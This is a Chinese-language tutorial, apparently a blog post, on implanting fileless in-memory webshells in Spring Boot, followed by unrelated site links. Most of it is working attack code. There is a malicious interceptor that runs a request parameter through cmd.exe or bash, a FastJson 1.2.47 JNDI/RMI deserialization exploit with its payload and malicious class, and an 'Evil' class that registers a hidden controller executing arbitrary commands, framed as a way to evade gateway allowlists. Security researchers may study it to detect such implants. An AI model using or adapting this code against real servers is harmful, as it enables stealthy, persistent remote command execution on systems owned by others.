深入浅出内存马(二) 之SpringBoot内存马

简介: 深入浅出内存马(二) 之SpringBoot内存马

0x01 前言


在上一篇文章中深入浅出内存马(一),我介绍了基于TomcatFilter内存马,不光是Filter 还有listenerservletcontroller 等不同形式的内存马。如今企业开发过程中,大部分使用的都是spring系列的框架进行开发,特别是SpringBoot,现在基本是企业开发的标配。所以探讨Spring系列下的内存马就显得非常必要了。

今天我们就来研究研究Spring Boot下的内存马实现。


0x02 需求


随着微服务部署技术的迭代演进,大型业务系统在到达真正的应用服务器的时候,会经过一些系列的网关,复杂均衡,防火墙。所以如果你新建的shell路由不在这些网关的白名单中,那么就很有可能无法访问到,在到达应用服务器之前就会被丢弃,我们该如何解决这个问题?

所以,在注入内存马的时候,就尽量不要用新建的路由,或者shell地址。最好是在访问正常的业务地址之前,就能执行我们的代码。

根据这个文章里面的说法基于内存 Webshell 的无文件攻击技术研究

在经过一番文档查阅和源码阅读后,发现可能有不止一种方法可以达到以上效果。其中通用的技术点主要有以下几个:

  1. 在不使用注解和修改配置文件的情况下,使用纯 java 代码来获得当前代码运行时的上下文环境;
  2. 在不使用注解和修改配置文件的情况下,使用纯 java 代码在上下文环境中手动注册一个 controller;
  3. controller 中写入 Webshell 逻辑,达到和 Webshell 的 URL 进行交互回显的效果;


0x03 SpringBoot的生命周期


为了满足上面的需求,我们需要了解SpringBoot的生命周期,我们需要研究的是:一个请求到到应用层之前,需要经过那几个部分?是如何一步一步到到我们的Controller的?

我们用IDEA来搭建一个SpingBoot2 的环境

ecd8ec145a6c03fe3c8bdf0781af4b19_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

访问地址:

e95ef176bcfdb7381e8d4af1d64abb19_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

我们还是把断点打在org.apache.catalina.core.ApplicationFilterChain中的 internalDoFilter方法中

可以看到整个执行流程

这部分在上一篇文章中已经详细描述过,这里不在赘述。

但是这里不同的是在经过 Filter 层面处理后,就会进入熟悉的 spring-webmvc 组件 org.springframework.web.servlet.DispatcherServlet 类的 doDispatch 方法中。

跟进去这个方法

1dbedb4db555ac518460ed2f545d4add_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

可以看到是遍历this.handlerMappings 这个迭代器中的mappergetHandler 方法处理Http中的request请求。

继续追踪,最终会调用到org.springframework.web.servlet.handler.AbstractHandlerMapping 类的 getHandler 方法,并通过 getHandlerExecutionChain(handler, request) 方法返回 HandlerExecutionChain 类的实例。

56c3c2318f8aeff4fce01f1f363038d8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

继续跟进getHandlerExecutionChain 方法,

protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
        HandlerExecutionChain chain = handler instanceof HandlerExecutionChain ? (HandlerExecutionChain)handler : new HandlerExecutionChain(handler);
        Iterator var4 = this.adaptedInterceptors.iterator();
        while(var4.hasNext()) {
            HandlerInterceptor interceptor = (HandlerInterceptor)var4.next();
            if (interceptor instanceof MappedInterceptor) {
                MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor;
                if (mappedInterceptor.matches(request)) {
                    chain.addInterceptor(mappedInterceptor.getInterceptor());
                }
            } else {
                chain.addInterceptor(interceptor);
            }
        }
    //返回的是HandlerExecutonChain,这里包含了所有的拦截器
        return chain;
    }

好了,现在我们知道程序在哪里加入的拦截器(interceptor)后,追踪到这行代码

if (!mappedHandler.applyPreHandle(processedRequest, response)) {
    return;
}

跟进之后发现interceptor.preHandle(request, response, this.handler) 会遍历拦截器,并执行其preHandle方法。

dac7d7cc32f77dbe3ea0734557241137_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

如果程序提前在调用的 Controller 上设置了 Aspect(切面),那么在正式调用 Controller 前实际上会先调用切面的代码,一定程度上也起到了 "拦截" 的效果。

那么总结一下,一个 request 发送到 spring 应用,大概会经过以下几个层面才会到达处理业务逻辑的 Controller 层:

HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Aspect --> Controller


0x04 拦截器Interceptor 的理论探索


Interceptor 来拦截所有进入 Controller 的 http 请求理论上是可行的,接下来就是实现从代码层面动态注入一个 Interceptor 来达到 webshell 的效果。

可以通过继承 HandlerInterceptorAdapter 类或者HandlerInterceptor 类并重写其 preHandle 方法实现拦截。preHandle是请求执行前执行,preHandle 方法中写一些拦截的处理,比如下面,当请求参数中带 id 时进行拦截,并写入字符串 InterceptorTest OK! 到 response。


0x0401 模拟真实业务


真实业务,这里模拟一个登录场景,登录成功返回login success。

package com.evalshell.springboot.web;
import com.evalshell.springboot.model.User;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
@Controller
@RequestMapping(value = "/user")
public class UserCrotroller {
    @RequestMapping(value = "/login")
    public @ResponseBody Object login(HttpServletRequest request){
      //简单模拟登录成功
      //实体类User 我就不赘述了,就是有2个属性。并实现getter和setter 构造器方法
        User user = new User();
        user.setAge(18);
        user.setName("jack");
        request.getSession().setAttribute("user", user);
        return "login success";
    }
}


0x0402 编写自定义的Interceptor


package com.evalshell.springboot.interceptor;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class VulInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("code");
        if(code != null){
            try {
                java.io.PrintWriter writer = response.getWriter();
                ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
                }else{
                    System.out.println(code);
                    p = new ProcessBuilder(new String[]{"/bin/bash", "-c", code});
                }
                builder.redirectErrorStream(true);
                Process p = builder.start();
                BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
                String result = r.readLine();
                System.out.println(result);
                writer.println(result);
                writer.flush();
                writer.close();
            }catch (Exception e){
            }
            return false;
        }
        return true;
    }
    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
    }
    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
    }
}


0x0403 注册拦截器


实现拦截器后还需要将拦截器注册到spring容器中,可以通过implements WebMvcConfigurer,覆盖其addInterceptors(InterceptorRegistry registry)方法

package com.evalshell.springboot.config;
import com.evalshell.springboot.interceptor.VulInterceptor;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
      //这里是配置需要拦截的路由
        String[] VulPathPatterns = {"/user/login"};
        registry.addInterceptor(new VulInterceptor()).addPathPatterns(VulPathPatterns);
    }
}

:10

可以看到达到的效果是访问正常路由,不会影响正常业务。如果是带有code的参数会执行code里面的代码,从而突破网关的限制。

那么我们现在已经明白了如何在springboot中进行拦截,并执行我们的内存马,但是还是有一个问题,如何注入我们的内存马?

在这里根据landgrey大佬的思路:

spring boot 初始化过程中会往 org.springframework.context.support.LiveBeansView 类的 applicationContexts 属性中添加 org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext 类的对象。bean 实例名字是 requestMappingHandlerMapping 或者比较老版本的 DefaultAnnotationHandlerMapping 。那么获取 adaptedInterceptors 属性值就比较简单了:

org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);

我总结下就是:

  • 首先获取应用的上下文环境,也就是ApplicationContext
  • 然后从 ApplicationContext 中获取 AbstractHandlerMapping 实例(用于反射)
  • 反射获取 AbstractHandlerMapping类的 adaptedInterceptors字段
  • 通过 adaptedInterceptors注册拦截器


0x05  实战


为了方便搭建环境,我们采用FastJson 1.2.47的RCE来创造反序列化漏洞利用点,我们在pom.xml中配置好我们的依赖,

<dependencies>
    <!-- 配置fastjson -->
  <dependency>
   <groupId>com.alibaba</groupId>
   <artifactId>fastjson</artifactId>
   <version>1.2.47</version>
  </dependency>
        <!-- 配置springboot2 ,小编使用的是2.5.3的版本-->
    <dependency>
   <groupId>org.springframework.boot</groupId>
   <artifactId>spring-boot-starter-web</artifactId>
  </dependency>
 </dependencies>

手动创建一个FastJson的利用点,因为在 JDK 18u191, 11.0.1之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,为了演示,我这里是用了JDK 18u102。

@Controller
public class VulController {
    @RequestMapping(value = "/unserializer")
    @ResponseBody
    public String unserializer(@RequestParam String code){
        JSON.parse(code);
        return "unserializer";
    }
}

创建RMI服务器

package com.evalshell.server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("TouchFile",
                "com.evalshell.server.TouchFile","http://127.0.0.1:8083/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit", referenceWrapper);
    }
}

创建恶意代码

package com.evalshell.server;
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"open", "/System/Applications/Calculator.app"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

启动JNDIServer,端口启动在了1099

在TouchFile的编译后的类路径下,开启web服务,提供恶意类文件的http下载服务,这个端口必须和上面的JNDIServer中配置的一致。

4296076fdd09b9a902bd037c874a45d6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

我们使用FastJson的Payload进行攻击

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://127.0.0.1:1099/TouchFile",
        "autoCommit":true
    }
}

用postman请求,攻击成功的话,就会弹出计算器,表示可以执行任意命令。

好的,上述已经搭建起一个Fastjson的漏洞环境。

使用上述方法编写拦截器内存马:

package com.evalshell.server;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Evil {
    public Evil() throws Exception{
        // 关于获取Context的方式有多种
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
                currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
        method.setAccessible(true);
        // 通过反射获得该类的test方法
        Method method2 = Evil.class.getMethod("test");
        // 定义该controller的path
        PatternsRequestCondition url = new PatternsRequestCondition("/good");
        // 定义允许访问的HTTP方法
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 构造注册信息
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 创建用于处理请求的对象,避免无限循环使用另一个构造方法
        Evil injectToController = new Evil("aaa");
        // 将该controller注册到Spring容器
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    private Evil(String aaa) {
    }
    public void test() throws IOException {
        // 获取请求
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        // 获取请求的参数cmd并执行
        // 类似于PHP的system($_GET["cmd"])
        Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}

同时修改JNDIServer类中的代码

Reference reference = new Reference("VulClass", "com.evalshell.server.VulClass","http://127.0.0.1:8083/"); 替换成 Reference reference = new Reference("Evil","com.evalshell.server.Evil","http://127.0.0.1:8083/");


至此,我们已经完成SpringBoot下的无文件内存马的实现!


0x06 参考


https://landgrey.me/blog/19/

https://www.anquanke.com/post/id/198886#h2-0

https://evalshell.com/


相关文章
|
22天前
|
Java 数据库连接 测试技术
SpringBoot入门(4) - 添加内存数据库H2
SpringBoot入门(4) - 添加内存数据库H2
41 4
SpringBoot入门(4) - 添加内存数据库H2
|
24天前
|
Java 数据库连接 测试技术
SpringBoot入门(4) - 添加内存数据库H2
SpringBoot入门(4) - 添加内存数据库H2
29 2
SpringBoot入门(4) - 添加内存数据库H2
|
17天前
|
Java 数据库连接 测试技术
SpringBoot入门(4) - 添加内存数据库H2
SpringBoot入门(4) - 添加内存数据库H2
57 13
|
11天前
|
Java 数据库连接 测试技术
SpringBoot入门(4) - 添加内存数据库H2
SpringBoot入门(4) - 添加内存数据库H2
27 4
|
1月前
|
SQL JSON 缓存
你了解 SpringBoot 在一次 http 请求中耗费了多少内存吗?
在工作中常需进行全链路压测并优化JVM参数。通过实验可精确计算特定并发下所需的堆内存,并结合JVM新生代大小估算GC频率,进而优化系统。实验基于SpringBoot应用,利用JMeter模拟并发请求,分析GC日志得出:单次HTTP请求平均消耗约34KB堆内存。复杂环境下,如公司线上环境,单次RPC请求内存消耗可达0.5MB至1MB,揭示了高并发场景下的内存管理挑战。
|
3月前
|
安全 Java 关系型数据库
SpringBoot SpringSecurity 介绍(基于内存的验证)
SpringBoot SpringSecurity 介绍(基于内存的验证)
43 0
|
4月前
|
SQL Java 调度
实时计算 Flink版产品使用问题之使用Spring Boot启动Flink处理任务时,使用Spring Boot的@Scheduled注解进行定时任务调度,出现内存占用过高,该怎么办
实时计算Flink版作为一种强大的流处理和批处理统一的计算框架,广泛应用于各种需要实时数据处理和分析的场景。实时计算Flink版通常结合SQL接口、DataStream API、以及与上下游数据源和存储系统的丰富连接器,提供了一套全面的解决方案,以应对各种实时计算需求。其低延迟、高吞吐、容错性强的特点,使其成为众多企业和组织实时数据处理首选的技术平台。以下是实时计算Flink版的一些典型使用合集。
|
4月前
|
缓存 运维 Java
解决Spring Boot中的内存泄漏问题
解决Spring Boot中的内存泄漏问题
|
3月前
|
存储 编译器 C语言
【C语言篇】数据在内存中的存储(超详细)
浮点数就采⽤下⾯的规则表⽰,即指数E的真实值加上127(或1023),再将有效数字M去掉整数部分的1。
376 0
|
24天前
|
存储 C语言
数据在内存中的存储方式
本文介绍了计算机中整数和浮点数的存储方式,包括整数的原码、反码、补码,以及浮点数的IEEE754标准存储格式。同时,探讨了大小端字节序的概念及其判断方法,通过实例代码展示了这些概念的实际应用。
53 1